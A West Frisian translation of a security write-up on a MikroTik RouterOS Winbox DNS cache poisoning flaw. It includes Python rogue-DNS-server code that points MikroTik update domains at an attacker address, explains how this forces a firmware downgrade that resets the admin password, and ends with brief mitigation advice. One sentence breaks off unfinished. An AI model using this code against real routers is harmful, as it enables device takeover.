De mooglikheid om apparaten op ôfstân te downgraden basearre op RouterOS (Mikrotik) set hûnderttûzenen netwurkapparaten yn gefaar. De kwetsberens is ferbûn mei fergiftiging fan 'e DNS-cache fan it Winbox-protokol en lit jo ferâldere (mei in standert wachtwurd weromsette) of wizige firmware op it apparaat laden.
Kwetsberens details
De RouterOS-terminal stipet it resolve-kommando foar DNS-opsykjen.
Dit fersyk wurdt behannele troch in binêr neamd resolver. Resolver is ien fan in protte binaries dy't ferbine mei RouterOS's Winbox-protokol. Op in heech nivo kinne "berjochten" stjoerd nei de Winbox-poarte wurde trochstjoerd nei ferskate binaries yn RouterOS basearre op in array-basearre nûmeringskema.
Standert hat RouterOS de DNS-tsjinnerfunksje útskeakele.
Sels as de tsjinnerfunksje útskeakele is, hâldt de router lykwols syn eigen DNS-cache.
As wy in fersyk meitsje mei help fan winbox_dns_request bygelyks example.com, sil de router it resultaat cache.
Om't wy de DNS-tsjinner kinne opjaan wêrmei it fersyk moat gean, is it ynfieren fan ferkearde adressen triviaal. Jo kinne bygelyks in DNS-tsjinner ymplemintaasje konfigurearje fan
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
No as jo sykje foar example.com mei Winbox, kinne jo sjen dat de DNS-cache fan 'e router fergiftige is.
Fansels is poisoning example.com net heul nuttich, om't de router it net echt sil brûke. De router moat lykwols tagong krije ta upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com en download.mikrotik.com. En troch in oare flater is it mooglik om se allegear tagelyk te fergiftigjen.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
De router freget ien tastimming, en wy jouwe fiif werom. De router cache net al dizze antwurden goed.
Fansels is dizze oanfal ek nuttich as de router fungearret as in DNS-tsjinner, om't it mooglik makket dat kliïnten fan 'e router oanfallen wurde.
Dizze oanfal lit jo ek in mear serieuze kwetsberens eksploitearje: downgrade of backport de ferzje fan RouterOS. De oanfaller makket de logika fan 'e fernijingstsjinner opnij, ynklusyf it changelog, en twingt RouterOS om de ferâldere (kwetsbere) ferzje as aktueel te sjen. It gefaar hjir leit yn it feit dat as de ferzje "bywurke" wurdt, it behearderwachtwurd wurdt weromset nei de standertwearde - in oanfaller kin ynlogge by it systeem mei in leech wachtwurd!
De oanfal wurket frijwat, nettsjinsteande it feit dat
beskerming
Gewoan útskeakelje Winbox kinne jo beskermje dysels út dizze oanfallen. Nettsjinsteande it gemak fan administraasje fia Winbox, is it better om it SSH-protokol te brûken.
Boarne: www.habr.com